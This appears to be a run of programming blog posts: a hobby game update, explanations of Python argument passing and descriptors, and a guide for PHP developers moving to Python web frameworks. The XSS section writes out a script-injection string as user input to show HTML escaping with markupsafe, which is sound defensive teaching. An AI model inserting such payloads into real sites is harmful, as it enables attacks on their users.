So far we have one sprite drawn, and I’ve built an engine that lets it walk around a fixed region. (Spot the programmer art.) Basically done! I guess I’m building it half-from-scratch: I’m using pyglet and cocos2d, which provide a lot of basic niceties like event handling and layering and transformation and actions over time, but they’re both simple enough that I can easily understand everything they’re doing and could replicate it with a gun to my head. It’s the same kind of sweet spot as Pyramid is for Web development.

We have a Large Pad with tons of small ideas scribbled on it, and we brainstorm every other day. Currently trying to pin down how combat and advancement will work; there are a ton of options and getting it right is tricky. As the engine becomes useful, we’ll be able to actually try stuff out.

This is a side project among side projects for all of us, completely unfunded, with no deadline. So there’s no ETA, and we’ll just work on it as we feel inspired to do so. Interest is always interesting, of course.

The code is ISC and the assets are CC BY-NC-SA. All of it lives on GitHub. We’d still like to sell the completed game, but the plan is to only charge for the installer. (Oh, right: I develop on Linux (who doesn’t!) and it’s all Python and OpenGL, so it oughta run on pretty much anything.)

Yep, that’s all I got. May write about bits of it in more detail later, if there be interest.

How do I pass by reference? Does Python pass by reference or pass by value?

This question is most often asked by C++ immigrants, who are used to a firm distinction between these kinds of passing and a bunch of subtle pros/cons for each.

So, then, does Python pass by reference or value?

Short answer: objects are passed as if by reference, not copied. If you change an object in a function, it’ll change in the caller. But! You can’t assign to an argument name and magically have values in the caller change.

Long answer: both, and neither. Hmm. This may require some context.

References and values

In C and C++, variable declarations are really memory declarations. Consider this innocuous statement:

1

int x;

This doesn’t really create a thing named x. What it does is ensure that, at runtime, there will be some chunk of memory somewhere big enough to hold an integer, and whenever your code says x, it will look in that same chunk. For all you care, that block might be in RAM or swap or hibernated or on the moon somewhere. If you use register, it won’t be system memory at all. All x refers to here is a wink and a nod between you and your compiler, agreeing that whenever you say x, you mean the same place as every other time you say x.

Enter function calls.

1
2
3

void do_the_needful(some_bigass_struct foo) {
    /* ... */
}

some_bigass_struct foo is still a variable declaration. At runtime, you’ll have a chunk of memory the size of that struct, and anytime you say foo inside this function, you’re guaranteed to be talking about the same chunk of memory.

Because of this, anything used as a function argument is copied. When this function is called, foo contains a byte-for-byte copy of whatever struct was actually used as an argument. This is pass-by-value: the function receives an equivalent value, but it has a different identity (or memory location, if you must).

Clearly this isn’t going to work so well for nontrivial types. You waste a lot of time copying this whole struct, and then your function can’t even change anything and have it reflected in the caller’s struct, because you only have a copy.

The C way to fix this is to pass a pointer, instead. That’s still technically passing by value, but the “value” here is a memory address. That’s only a few bytes. And even though the pointer’s identity is different, it still points to the same single struct, so a function can muck about with the struct contents if it so pleases.

Along comes C++. C++ decided that pointers were confusing, because universities were inexplicably trying to teach pointers to CS102 students who barely understood what a compiler was for, and the students weren’t getting it. Well, gosh, let’s fix this by getting rid of pointers.

C++’s solution to the pass-a-bunch-of-stuff problem was to introduce references.

1
2
3

void do_the_needful(some_bigass_struct &foo) {
    // whoa, inline comment
}

Now you can call do_the_needful(bar) without fear. It still looks like the entire struct is being passed in, but the & reference sigil causes foo to be an alias for bar. In other words, foo no longer reserves some runtime chunk of memory; it becomes another way to talk about the same chunk of memory the caller has, somewhere. And because foo is bar, you can even assign to foo and overwrite bar outright—in C, you’d generally use a double pointer to do that without copying.

This is pass-by-reference: the same chunk of memory is now shared by two different variables, a feat that is impossible in C.

Back to Python

With these (hopefully-clear) definitions, let us consider Python again.

1
2
3
4
5

def do_the_needful(foo):
    pass

obj = SomeBigassClass()
do_the_needful(obj)

So, is foo passed by value or reference?

Again, the short answer is “neither”. But the real answer is that the question doesn’t make sense for Python! Variable names aren’t fixed preallocated chunks like they are in C or C++. Python variable names are just that: names.

Compare:

• In C, int x = 3; declares a memory chunk named x and writes the value 3 into it.

• In Python, x = 3 creates a value 3 and makes x a name for it. All values are objects and thus first-class entities; they can exist with several names or no name at all.

If it helps: C variables are boxes that you write values into. Python names are tags that you put on values. This is a cool illustration.

And much like in C, argument passing is just a funny way of doing assignment. The foo argument in this function might as well have been assigned to with foo = obj; the effect would be the same.

It’s not pass-by-value, then, because there’s no copying done, and the function still has the same object as the caller. (Python never copies anything implicitly.) Is it pass-by-reference? This sure sounds like C++ references so far.

1
2
3
4
5
6
7

def increment(n):
    n = n + 1

i = 1
print i
increment(i)
print i

Nope; this will just print 1 twice. Inside the function, assigning to n doesn’t do anything to the value n refers to; it just makes the name, n, refer to something else now. So n will be 2, sure, but then the function ends and n goes away and i is left unchanged because you never did anything to i.

This is different from changing an existing value:

1
2
3
4
5
6
7

def lengthen(n):
    n.append(2)

i = [1]
print i  # [1]
lengthen(i)
print i  # [1, 2]

In this case, n was never reassigned; instead, a method call altered the value directly. It’s still the same list, and both n and i refer to it, but the list’s contents changed.

Got it? Good, because there’s one more wrinkle: operator overloading does weird things here. You could rewrite both of these functions using +=, for example. In increment, i wouldn’t change, but in lengthen, it would! This is because ints (and strs, tuples, and some other types) are immutable, so they implement += literally: by creating a new object and assigning it. But lists are mutable, so as a convenience shortcut, += acts like .extend() and changes the list in-place. This quirk has nothing to do with passing, though; these types just overloaded += differently.

Anyway, um, this is definitely not pass-by-reference either.

If anything, Python is a third option: pass-by-object.

What to do instead

So, wait, what if you do want to write something like increment?

Return stuff.

Much of the use of pointer/reference arguments in C and C++ is for “out parameters”: the function returns some status value, and its actual results are “returned” by modifying particular arguments.

But this ain’t C, so why would we do that? You can just return multiple values.

1
2
3
4

def foo():
    return True, "abc"

status, value = foo()

Or, you know, just raise exceptions on failure. Then the caller doesn’t get a nasty surprise when he forgets to check your status code.

Use methods.

If you really need to mutate the caller’s values, you might want to use an object to store those values, and turn the function into a method. Methods can mess with the invocant’s attributes all they want, and this keeps the mess nicely contained.

1
2
3
4
5
6
7
8
9
10
11

class Incrementer(object):
    def __init__(self, count):
        self.count = count

    def increment(self):
        self.count += 1

i = Incrementer(1)
print i.count  # 1
i.increment()
print i.count  # 2

Use a mutable object.

As a last resort, you can always put the values into a list (or dict, object, etc.), pass that to the function, have the function mutate the list, then extract the new values on the outside.

That’s gross, though. Don’t do that.

Under the hood

If you must know! In CPython, every Python value is actually a PyObject*. So argument passing, assignment, etc. actually act fairly similarly to C, if you wrote C where absolutely everything were a pointer (and there were no double pointers for cheating).

1
2
3
4
5
6
7

void increment (int *n) {
    int newval = *n + 1;
    n = &newval;
}

int i = 1;
increment(&i);

This is the spiritual equivalent to the Python function above. (Please ignore the impending segfault.) Assigning to n naturally does nothing, because only the pointed-to value is shared. But if that value were something mutable like a list, you could change it in-place.

And this is why “both” is a correct answer as well: you could say that Python is pass-by-value, where the values are pointers… or you could say Python is pass-by-reference, where the references are copies. Or you could say it’s “pass-by-pointer”. But now you’re thinking too hard about it.

Conclusion

• Python functions can’t replace what names in the caller refer to.
• Reassigning an argument name won’t do anything useful.
• Python functions can mutate their arguments, if the arguments are mutable.
• Nothing is implicitly copied in Python.
• Stop comparing Python so closely to C++ and you’ll have a much better time.

Further reading

• The Python documentation isn’t terribly explicit about pass semantics. The best I can find is the language reference on calls.
• That illustration really is pretty cool.
• Pass-by-object is sometimes called pass-by-sharing. Wikipedia talks about it.

How does @property work? Why does it call my __getattr__? What’s a “descriptor”?

Python offers several ways to hook into attribute access—that is, there are several ways you can affect what happens when someone does obj.foo to your object.

The most boring behavior is that the object has a foo attribute (perhaps set in __init__), or the class has a foo method or attribute of its own.

If you need total flexibility, there are the magic methods __getattr__ and __getattribute__, which can return a value depending on the attribute name.

Somewhere between these two extremes lie descriptors. A descriptor handles the attribute lookup for a single attribute, but can otherwise run whatever code it wants.

Properties are very simple descriptors. If you haven’t used them before, they look like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

class Whatever(object):
    def __init__(self, n):
        self.n = n

    @property
    def twice_n(self):
        return self.n * 2

    @twice_n.setter
    def twice_n(self, new_n):
        self.n = new_n / 2

obj = Whatever(2)
print obj.n  # 2
print obj.twice_n  # 4
obj.twice_n = 10
print obj.n  # 5

This does some stuff to create a descriptor object named twice_n, which jumps in whenever code tries to use the twice_n attribute of a Whatever object. In the case of @property, you can then have things that look like plain attributes but act like methods. But descriptors are a bit more powerful.

How they work

A descriptor is just an object; there’s nothing inherently special about it. Like many powerful Python features, they’re surprisingly simple. To get the descriptor behavior, only three conditions need to be met:

1. You have a new-style class.
2. It has some object as a class attribute.
3. That object’s class has the appropriate special descriptor method.

Note very carefully that these conditions are in terms of classes. In particular, a descriptor will not work if it’s assigned to an object instead of a class, and an object is not a descriptor if you assign the object a function named __get__. Descriptors are all about modifying behavior for classes, not individual objects!

Ahem. So, about those special descriptor methods. There are three of them, and your object can implement whichever ones it needs. Assuming this useless setup:

1
2
3
4

class OwnerClass(object):
    descriptor = DescriptorClass()

obj = OwnerClass()

You can implement these methods, sometimes called the “descriptor protocol”:

• __get__(self, instance, owner) hooks into reading, for both an object and the class itself.

  obj.descriptor will call descriptor.__get__(obj, OwnerClass).

  OwnerClass.descriptor will call descriptor.__get__(None, OwnerClass). Here, it’s polite to just return self, so you can still get at the descriptor object like a regular class attribute.

• __set__(self, instance, value) hooks into writing.

  obj.descriptor = 5 will call descriptor.__set__(obj, 5).

• __delete__(self, instance) hooks into deletion.

  del obj.descriptor will call descriptor.__delete__(obj).

  Note this is not the same as __del__; that’s something different entirely.

A minor point of confusion here: the descriptor is triggered by touching attributes on obj, but inside these methods, self is the descriptor object itself, not obj.

You can implement any combination of these you like, and whichever you implement will be triggered. This may or may not be what you want, e.g.: if you only implement __set__, you won’t get a write-only attribute; obj.descriptor will act as normal and produce your descriptor object.

Writing a descriptor

Talking about descriptors involves juggling several classes and instances. Let’s try a simple example, instead: recreating property.

First, the read-only behavior.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

class prop(object):
    def __init__(self, get_func):
        self.get_func = get_func

    def __get__(self, instance, owner):
        if instance is None:
            return self

        return self.get_func(instance)

class Demo(object):
    @prop
    def attribute(self):
        return 133

print Demo().attribute

This code sneaks the descriptor in using a decorator. Remember that decorators can be rewritten as regular function calls. The class definition is roughly equivalent to this:

1
2
3
4
5

def getter(self):
    return 133

class Demo(object):
    attribute = prop(getter)

So the descriptor, attribute, is just an object wrapping a single function. When code reads from Demo().attribute, the descriptor calls its stored function on the Demo instance and passes along the return value.

(The instance has to be passed in manually because the function isn’t being called as a method. If you refer to them within a class body directly, methods are just regular functions; they only get method magic added to them at the end of the class block. It’s complicated.)

With this implementation, code could still do obj.attribute = 3 and the descriptor would be shadowed. Want setter behavior, too? No problem; add a __set__.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

class prop(object):
    # __init__ and __get__ same as before...

    def __set__(self, instance, value):
        self.set_func(instance, value)

    def setter(self, set_func):
        self.set_func = set_func
        return self

    def set_func(self, instance, value):
        raise TypeError("can't set me")

class Demo(object):
    _value = None

    @prop
    def readwrite(self):
        return self._value

    @readwrite.setter
    def readwrite(self, value):
        self._value = value

    @prop
    def readonly(self):
        return 133

obj = Demo()
print obj.readwrite
obj.readwrite = 'foo'
print obj.readwrite
print obj.readonly
obj.readonly = 'bar'  # TypeError!

Look at all this crazy stuff going on. Take it a step at a time.

The new __set__ method is pretty much the same as before: it calls a stored function on the given instance.

The setter method makes the @readwrite.setter decoration work. It stores the function, and then returns itself—remember, it’s a decorator, so whatever it returns will end up assigned to the decorated function’s name, readwrite. The class definition is equivalent to:

1
2
3
4
5
6
7
8
9

def func1(self):
    return self._value

readwrite = prop(func1)

def func2(self, value):
    self._value = value

readwrite = readwrite.setter(func2)

Don’t be fooled: it looks like there are two readwrite functions, but the class ends up with a single object that happens to contain two functions.

I include a default setter function, set_func, so that properties are read-only unless the class specifies otherwise. It’s got three arguments because it’s a regular method: calling it with (instance, value) will tack the descriptor object on as the first argument.

This is most of the way to an exact clone of Python’s builtin property type, and it’s only a handful of very short methods.

Potential uses

Properties are an obvious use, but they’re built in, so why would you care about descriptors otherwise?

Maybe you wouldn’t. It’s metaprogramming, after all, so you either know you need it or can’t imagine why you ever would. I’ve used them a couple times, though, and I’ve seen them in the wild enough. Some examples:

• Pyramid includes a nifty decorator-descriptor, @reify. It acts like @property, except that the function is only ever called once; after that, the value is cached as a regular attribute. This gives you lazy attribute creation on objects that are meant to be immutable. It’s handy enough that I’ve wished it were in the standard library more than once.

• SQLAlchemy’s ORM classes rely heavily on descriptors: SomeTableClass.column == 3 is actually using a descriptor that overloads a bunch of operators.

• If you’re writing a class with a lot of properties that all do similar work, you can write your own descriptor class to factor out the logic, rather than writing a bunch of similar property functions that all call more methods.

• If you find yourself writing a __getattr__ with a huge stack of ifs or attribute name parsing or similar, consider writing a descriptor instead.

• Ever wonder how, exactly, self gets passed to a method call? Well, methods are just these class attributes that do something special when accessed via an object… surprise, methods are descriptors!

Descriptors and AttributeError

One final gotcha. A __get__ method is allowed to raise an AttributeError if it wants to express that the attribute doesn’t exist. Python will then fall back to __getattr__ as usual.

Consider this, then:

1
2
3

def __get__(self, instance, owner):
    log.debg("i'm in a descriptor!")
    # do stuff...

log.debg probably doesn’t exist, so that code will raise an AttributeError… which Python will take to mean the descriptor is saying it doesn’t exist. This is probably not what you want. Be very careful with attribute access inside a descriptor, especially for classes that also implement __getattr__.

Conclusion

• property is cool.
• Descriptors are cool.
• They aren’t hard to write, if you can keep self and instance straight.
• They only work as class attributes!

Further reading

• The Python documentation on descriptors. Short, to the point, and totally useless for explaining what these things are.
• The Python HowTo on descriptors. Rather more useful.
• Perhaps also read up on __getattr__ and __getattribute__.
• The implementation of reify is a nice example, and short enough that you may want to just paste it into your own project.

I only know PHP. How do I write a Web application in Python?

This is a deeply complex question. I could easily fill a book on web development and Python and how to make the two interact, so I was hoping to put this one off for a while. But given that I just trashed PHP rather harshly, it seems prudent to answer it sooner rather than later.

The dead simple answer is to stop reading here, get Flask, and start building a thing. I prefer a bit more nuance, though.

This is not a tutorial. I may write one in the future, but for now, plenty of them already exist, and I assume you can read documentation. Instead, this is an overview of the current state of affairs for someone new to Python web development.

Getting started

Obviously, you’ll need to have Python installed. Be sure to use Python 2, not 3; Python 3 made some backwards-incompatible changes, and not all libraries have updated yet.

For installing Python libraries, consider pip. (If you’re on a Unixlike, you can probably get it from your package manager, or with easy_install pip.) pip is a little package manager for Python; it can easily install, remove, upgrade, and examine Python libraries. Use your system package manager whenever possible, of course, but use pip for everything else.

You can install Python libraries to your home directory with pip install --user ..., but it’s even better to keep libraries local to each project you work on—that way, you can upgrade dependencies for one project without potentially breaking all the others. (Or breaking system software written in Python. I have done this.) virtualenv helps with this by creating a separate Python installation with a single command.

And, of course, you’re already planning to use source control. Right? I like git, but anything is better than nothing at all.

Framework

The first hurdle is somehow connecting your code to a browser. In PHP, the simplest thing is to install Apache and point it at some files. In Python, as with larger PHP projects, you’ll generally do this with a web framework.

Frameworks all tend to have a similar workflow:

1. Install it, with a tool like pip.

2. Create a skeleton project.

   The complexity of the skeleton varies. In the now-defunct Pylons, you’d end up with a good chunk of somewhat-mysterious code that you had to manually upgrade for new releases. Flask is so simple that there is no skeleton. Somewhere in the middle is Pyramid, where a skeleton project is nothing more than some common boilerplate that you’d end up writing yourself if you started from scratch.

3. Configure some things, like databases.

4. Start up the development server.

   This tends to be a terminal program that runs your app without need for a dedicated HTTP server. It’ll reload your code when it changes, and spit out stack traces and other debugging information.

5. Hack away!

What, then, should you use? There are zillions of options, but a few that are clearly the most popular.

I’m a fan of Pyramid, which hits a sweet spot somewhere between minimalism and batteries-included monolith. It’s a somewhat recent contender, but it evolved from two older and well-established projects; the result is well-designed, well-documented, and fairly transparent. A simple app needs no automatic boilerplate at all, there are skeletons to get you up and running, and the core library is overflowing with extension points. There’s a growing collection of helpful addons, as well.

For an even quicker start, Flask is about as simple as it gets, but has plenty of room to grow with crazy amounts of extensibility if you’re willing to build on top of it. It’s designed to do fairly reasonable things out of the box, without forcing much on you.

Bottle is similar to Flask, though arguably even simpler: it’s distributed as a single file and has zero dependencies. Whether this is good or bad is up to you, but it does mean that nothing in Bottle will be shared with any other framework, ever. Admittedly I don’t know too much about it, but I gave it a brief shot once and didn’t have any major complaints.

On the other end of the spectrum, Django is a massive beast designed for CMS-likes and other content-rich sites. It has a large ecosystem of pluggable components, built-in everythings from templates to an ORM, and piles of documentation and community resources. Django is generally cited as the Python equivalent to Ruby on Rails. The downside is that convincing it to do things it doesn’t want to do can be… awkward. (Many of the more obtuse questions in #python are caused by attempts to tinker with Django.) Possibly a little heavy for a first attempt.

web2py exists. I, er, don’t know much else about it. Allegedly it injects variables into your modules’ namespaces, and that’s gross, so don’t use it if you care what I think is gross. Or do. Whatever.

There used to be a mod_python Apache module that was spiritually similar to mod_perl, but it’s long since been abandoned. Please do not use it.

Lastly, you can write Python web code “manually”, but that’s largely an exercise in frustration. It’s not faster, it’s not educational, it’s not really very useful. Don’t bother.

My suggestion? If you just want to tinker, start with Flask and add on stuff as you go. If you have an idea for a site in mind and want to hit the ground running, use a Pyramid scaffold and follow along with its narrative documentation.

Routing

While PHP executes an entire file based on the URL, Python web applications tend to “own” an entire directory structure (or even the entire domain). Connecting particular URLs to particular code is thus a bit more flexible, and is usually handled by a routing system.

Routes are URLs with optional placeholders, like these:

/users/{name}
/companies/{id}/products
/blog/{year:\d\d\d\d}/{month:\d\d}/{day:\d\d}/{title}

You’d attach a route like this to a function. Then when you browse to /users/eevee, that function would be run, and the placeholders would be available in a structure like dict(name=u'eevee').

Some frameworks (like Pyramid) take this a step further: instead of attaching a route directly to a function, you give the route a name, and then attach the name to the function. It’s a little extra work, but the advantage is a central list of every page in your app. You can also use a route name and placeholder values to generate a URL—then, later, you can change a URL in a single place without touching anything else, and a typo in development will cause an error instead of a 404.

The syntax and exact implementation varies a little, but every framework uses some variation of this system. Some have helpers for creating RESTful routes or other common patterns, or you can easily write your own.

Request cycle

An HTTP request tends to run a function somewhere (chosen by the router) and pass it a request object.

The request object’s exact interface will depend on the particular framework, but they tend to be similar: parsed query data, cookies, headers, and so forth. As an example, take webob’s Request object, which includes:

• request.GET and request.POST are “multidicts” of parsed query data. (A multidict returns a single value for request.GET['foo'], but exposes all values with a getall() method.)
• request.params is a multidict combining both of the above.
• request.cookies is a parsed dict of cookies.
• request.headers is a dict of HTTP request headers, but with the keys treated as case-insensitive.
• request.is_xhr returns whether the X-Requested-With: XMLHttpRequest header is present, to identify ajax requests from libraries like jQuery that set it.

Request objects tend to be pretty thoroughly documented, so just have a flip through the docs of your chosen framework and pick out the important stuff.

When your app is done doing whatever cool thing it does, you send back a response. You usually have the option of either explicitly constructing a Response object (including HTTP headers and other manual fiddling) or just returning a chunk of HTML and using the defaults for everything else. You very rarely need to create a response yourself; for common cases like returning JSON, every framework has some shortcut or helper decorator.

Templates

Assembling HTML tends to be done with a template engine. The two major contenders are Mako and Jinja2.

I really like Mako. Really, really, really. Go use it. It uses unadorned Python for its syntax, and manages to do so in a very natural way. You can even write blocks of pure Python within templates, though of course you should exercise restraint and do this as little as possible. :)

Jinja2 is okay, with a gruff caveat: foo.bar is treated as foo['bar'] if foo looks like a dict and vice versa. I happen to think this is a really bad idea, and have been bitten by numerous subtle problems it causes in multiple template systems with the same “feature”. (Also, the {% %} syntax is really noisy, but that’s splitting hairs.) That aside, Jinja2 is a plenty solid library and you could definitely do worse. Much, much worse.

Both of these tools are pretty speedy, automatically compile to Python modules behind the scenes, have excellent debugging (with crazy hacks to get stack traces from your original template source), and should be plenty powerful enough to do whatever you want. Have a glance over both, pick one, and get going. If you don’t know or care which to use, use Mako.

(Note that while Flask uses Jinja2 by default, it’s fairly easy to use Mako instead.)

There are some other contenders, of course: the third-place winner is probably Genshi, but it’s so incredibly convoluted that the homepage starts off with a flow diagram; Django has its own template engine that tries very hard to keep logic out of your templates (imo to its detriment); Bottle likewise has its own drop-dead-simple templates that will probably cause growing pains pretty quickly; Pyramid’s other builtin template engine is Chameleon, which uses HTML-ish attributes for loops and other logic, and that’s fucking batty.

Maybe you’ll like one of these; I haven’t used them non-trivially myself.

Whatever you do, do not use Cheetah. DO NOT use Cheetah. It is an unholy abomination. Let’s not speak of it further.

Logic in templates

Perhaps you haven’t used templates before. If so, you’ll inevitably run into the question of whether some complex rendering code should live in Python or live in your template.

This is an old and silly argument, but I will say this: like many architectural decisions in programming, it comes down to minimizing how much you’ll hate yourself for it later. Keep complexity out of your templates if you can, but don’t jump through hoops to avoid it if you can’t. Remember that you can always just write plain Python functions in plain Python modules and import them. A powerful template language might even have a creative solution to your problem built in; glance over the docs again while you’re thinking.

Unicode

Unicode sucks. This is a universal truth. (I’m lying. Dealing with encodings sucks. Unicode is great. It’s complicated. I’ll write about it later.)

Python (2) has two “string” types: str and unicode. There’s a clever lie here, and that is: a str isn’t really a string. It’s just a series of bytes. Sometimes that happens to look like a string, but it’s really just a binary representation, the same way 85 00 00 00 is a common binary representation of the number 133. A real number is an int, and a real string is a unicode.

The issue is complicated enough to deserve its own article (which I will totally write sooner or later), but some quick notes:

• Your program should only worry about real strings (that is, unicodes) internally. You have to decode strings that come into your program and encode ones that leave, but luckily, most web frameworks will do that for you.
• You can use the u prefix on a literal string to make it a unicode, e.g., u'foo'.
• You can use from __future__ import unicode_literals at the top of a file to make all literal strings within that file be unicode by default. If you really really want a str, use a b prefix.
• If you want to use non-ASCII characters in Python source code, add an #encoding: utf8 magic comment to the top. (Assuming of course that your source code is saved as UTF-8, which it had damn well better be.)
• NEVER solve a Unicode problem by stripping out non-ASCII characters! That’s incredibly rude to a huge number of people; just imagine how you’d feel trying to use a website that decided you weren’t allowed to use English letters, because some programmer was too lazy to figure out how to handle them.
• In fact, accented letters and Asian characters are great for shaking out encoding problems. Paste some non-ASCII gibberish into forms on your site and see what happens.

XSS

Virtually everything nowadays has some form of automatic HTML escaping filter built in. The idea is that a template like this:

<p>Hello, ${name}!</p>

will, when given name = '<b>', safely print out Hello, <b>!. This means that, for the most part, you don’t have to worry about XSS.

For the most part. If nothing else, you must check the docs for your framework and template engine to make sure this is turned on by default, or turn it on if it’s not. (Off the top of my head: you get it for free with Pyramid, Django, and Flask. Bottle does it automatically if your template file has an HTML-sounding extension.)

The tricky bit, then, is knowing when and how to turn it off. If you construct some complex HTML in Python code, you don’t want it all escaped when sticking it in your template. Merely disabling the escaping behavior is a crappy solution, though; anywhere you do it is a potential source of injection. Luckily, many frameworks (Pyramid and Flask, at least) use the markupsafe library, which cleverly helps avoid this problem.

markupsafe provides a single class, Markup, which inherits from unicode. Markup(u'Hello!') will produce an object that acts pretty much like a string. The classmethod Markup.escape works the same way, but it escapes any HTML characters in the wrapped string.

There are two sneaky tricks here. The first is that a Markup object will never be escaped a second time. Observe:

1
2
3
4
5

>>> s = u'<b>oh noo xss</b>'
>>> Markup.escape(s)
Markup(u'&lt;b&gt;oh noo xss&lt;/b&gt;')
>>> Markup.escape(Markup.escape(s))
Markup(u'&lt;b&gt;oh noo xss&lt;/b&gt;')

So once you’ve created a Markup, you can feed it to your template, and the filter will leave it alone—even if it contains HTML.

The other trick is that Markup overrides every string method and automatically escapes all the arguments. That means you can do stuff like this in Python land:

1
2
3

>>> user_input = u'<script>alert("pwn");</script>'
>>> Markup(u'<p>Hello, %s!</p>') % user_input
Markup(u'<p>Hello, &lt;script&gt;alert(&#34;pwn&#34;);&lt;/script&gt;!</p>')

You can thus build complex HTML fairly safely, without worrying too much about underescaping or overescaping.

It’s not perfect, of course; the primary gotcha is that you need to use Markup().join(...) on a sequence of other Markup objects, not ''.join(...). And some operations like slicing, splitting, and regexes are likely to produce nonsensical results. Never try to decompose a Markup object or any other string of HTML; if you absolutely must, use a real parser like lxml, but in most cases you can do whatever transformation you need on a plain string before wrapping it in HTML.

Forms

I hate all form handling libraries. Every single one. They all enforce the author’s crazy naming scheme on my forms. I don’t even like the PHP behavior of using foo[] as a field name; that’s just so astoundingly ugly.

The one I hate the least so far is wtforms; it enforces fairly few design constraints and is pretty simple to use. It even has built-in support for working with markupsafe. The major downsides are that it’s difficult to remove those few design constraints (every form element gets an id attribute matching its name—argh!), and implementing a new kind of field can be a little complex.

I can’t speak much to any others, alas. FormEncode is a thing. Pyramid’s maintainers also own deform. They both do some dumb thing that bothers me for really nitpicky reasons. Shop around.

Whatever you do, just make sure you use something before your project grows too big. The one thing I hate more than form handling libraries is writing validation code by hand. :)

“Sanitizing”

A note on a common trend in PHP land.

Do not “sanitize”.

The word itself makes no sense. There is no process by which you can take an arbitrary string and make it “safe”. This kind of thinking is why I keep running into bank websites with contact forms that tell me I can’t use the < character; some numbskull enterprise developer doesn’t have a clue how to deal with data, so he just enforces that all data must be idiot-proof.

Don’t be an idiot.

Most of the time, “sanitizing” is referring to making user input “safe” to embed in HTML, pass to SQL, or use as a command-like argument. You can do all of these things without changing the original data at all. For HTML, there are filters like markupsafe, mentioned above. For SQL, there are bound parameters and ORMs. For running commands, you should avoid the shell entirely and just pass the arguments as a list (see subprocess).

These are all problems of language barriers: HTML, SQL, and shell are all structured languages, and you can’t just dump mystery junk into them and hope for the best. You wouldn’t use string concatenation to create JSON, so don’t do it to run convert. Use tools that understand the underlying structure.

This isn’t to say that you should never modify or filter user input, but you should avoid it whenever possible, and be damn careful when you do. For a common example of passwords, why is it so common to prohibit spaces in passwords or limit them to 16 characters? There’s no clear reason; it’s just a thing that’s done.

I’m still baffled by this one: the same places that cry foul when I try to type a < also insist that I type my credit card number as a solid string of sixteen digits. That makes it really hard to verify at a glance that I typed it correctly—and besides, the number on my card has spaces in it! Why not strip spaces and hyphens?

Just think carefully about what you’re doing and what problem you’re trying to solve. Are people using Unicode right-to-left characters to do dumb things to your site, and you want to stop them? No reason to force everyone to use ASCII; Unicode has categories, and you could just filter out characters in the weirder categories. Better yet, just fix your website so people who speak Hebrew can use it. :)

Debugging

If you’re lucky (i.e., using Pyramid), when your program crashes, you’ll get an interactive debugger that lets you examine the live state of your program. You can run arbitrary Python code, look at the state of variables, walk the stack, and otherwise screw around.

If you’re unlucky, don’t worry; you can still get this by using the werkzeug debugger. It’s pretty simple to use; it wraps any WSGI application and catches exceptions. (See? WSGI is awesome.)

Just make sure you don’t leave debugging on when deploying your app or otherwise sharing it with others; “arbitrary Python code” means anyone seeing the debug screen can do anything to your computer that you can.

Databases

What a can of worms. This is as opinionated as I’m going to get.

For one: you should use an ORM. That’s a thingy that tries valiantly to map database tables to Python classes, rows to objects, and queries to method calls. The result is more concise, often easier to understand, and sometimes even more correct.

The ORM you should use is SQLAlchemy. Pyramid has some builtin support for it; if you’re using a framework that doesn’t, SQLAlchemy is popular enough that the framework documentation assuredly has instructions for wiring it in. If you’re using Django, it has its own ORM; it’s not as good as SQLAlchemy, but replacing it is more of a bother than it’s worth unless you have a compelling need.

Many detractors will tell you that ORMs generate bad SQL. Yes, bad ORMs will do this. Good ORMs, like SQLAlchemy, understand SQL as well as you do. If you understand SQL, SQLAlchemy will be great for you; if you don’t understand SQL, SQLAlchemy will at least save you some embarrassment by writing bad SQL in your stead. Remember that you can always look at the queries being run; SQLAlchemy can log them all, and various debug toolbars will show a list with execution times. (Also keep an eye out for the same query being run many times; that’s a sign you want some eagerloading.)

Next, use transactions. You hopefully don’t have to think about this too much; if a framework has any SQLAlchemy integration at all, it probably does this for you. The idea is that a transaction starts when a request starts, and it’s automatically rolled back if there’s an exception. This is behavior you want from the start! It’s half (err, ¼) the point of using a database.

One more thing: since this article is all about trying new things based on what I say, do not use MySQL. In every sense I can imagine, MySQL is the PHP of databases. Give PostgreSQL a spin; it’s no harder to set up, it’s nicer to use, and it won’t let you do dumb things like store strings in date columns. (One of the nicest things, imo, is that Postgres can use your Unix user account as a login; no passwords required.) The only argument anyone ever has against using Postgres is that it “doesn’t scale”; rest assured I’ve yet to see an actual demonstration of that, and either way you can worry about it when you have a million more visitors.

Sessions

Every framework has session support. It’ll look familiar: a session token is stored in a cookie, and on the backend you magically get a dict that you can store arbitrary junk in. Use this as you will. Try not to use it as a dumping ground; it turns out databases are pretty good for, y’know, storing data.

Bonus features include first-class support for CSRF protection (Pyramid, Django has a module) and flash messages (Pyramid, Flask, Django). Go read your docs.

One word of warning: if you’re using Beaker sessions (Pyramid), they tend to accumulate cruft. By default this is in the form of a file on disk for every session ever, but if you use db-backed sessions, you’ll end up with a massive sessions table that never shrinks. This is a terrible and non-obvious problem, and the fixes are all basically manual. Sorry.

Deployment

Ah, you got me. There are a lot of ways to deploy, and they deserve more screen time than I can really devote here.

If possible, be willing to spend money. Providing a service inherently has a cost. It’s easiest by far to deploy apps if you just have your own dedicated (virtual or not) machine to play around with—and a server is a cool thing to have on hand anyway. You can get a basic Linode for $20/mo., and cheaper providers exist (though are less cool).

Heroku is also an option, and does have a free tier of one worker (similar to the lowest-tier Linode), but it’s another $36/mo for every extra worker you add. (The number of requests you can handle simultaneously is roughly proportional to the number of workers you have. How many you need depends on your app and how you run it.) The upside is that deploying your app is pretty much turnkey. Heroku has a few clones by now, as well.

As they say (do they?), deploying is a good problem to have: it means you’ve actually built something useful, after all. So go build something while I scramble to write a whole thing about deployment options.

Conclusion

The Web is complex. There are a lot of moving parts. Smart people have solved a lot of problems for you. Go tinker.

I hope this is enough to get you started!

And as always, I don’t know what I’m doing, so please tell me how to do it better.

Preface

I’m cranky. I complain about a lot of things. There’s a lot in the world of technology I don’t like, and that’s really to be expected—programming is a hilariously young discipline, and none of us have the slightest clue what we’re doing. Combine with Sturgeon’s Law, and I have a lifetime’s worth of stuff to gripe about.

This is not the same. PHP is not merely awkward to use, or ill-suited for what I want, or suboptimal, or against my religion. I can tell you all manner of good things about languages I avoid, and all manner of bad things about languages I enjoy. Go on, ask! It makes for interesting conversation.

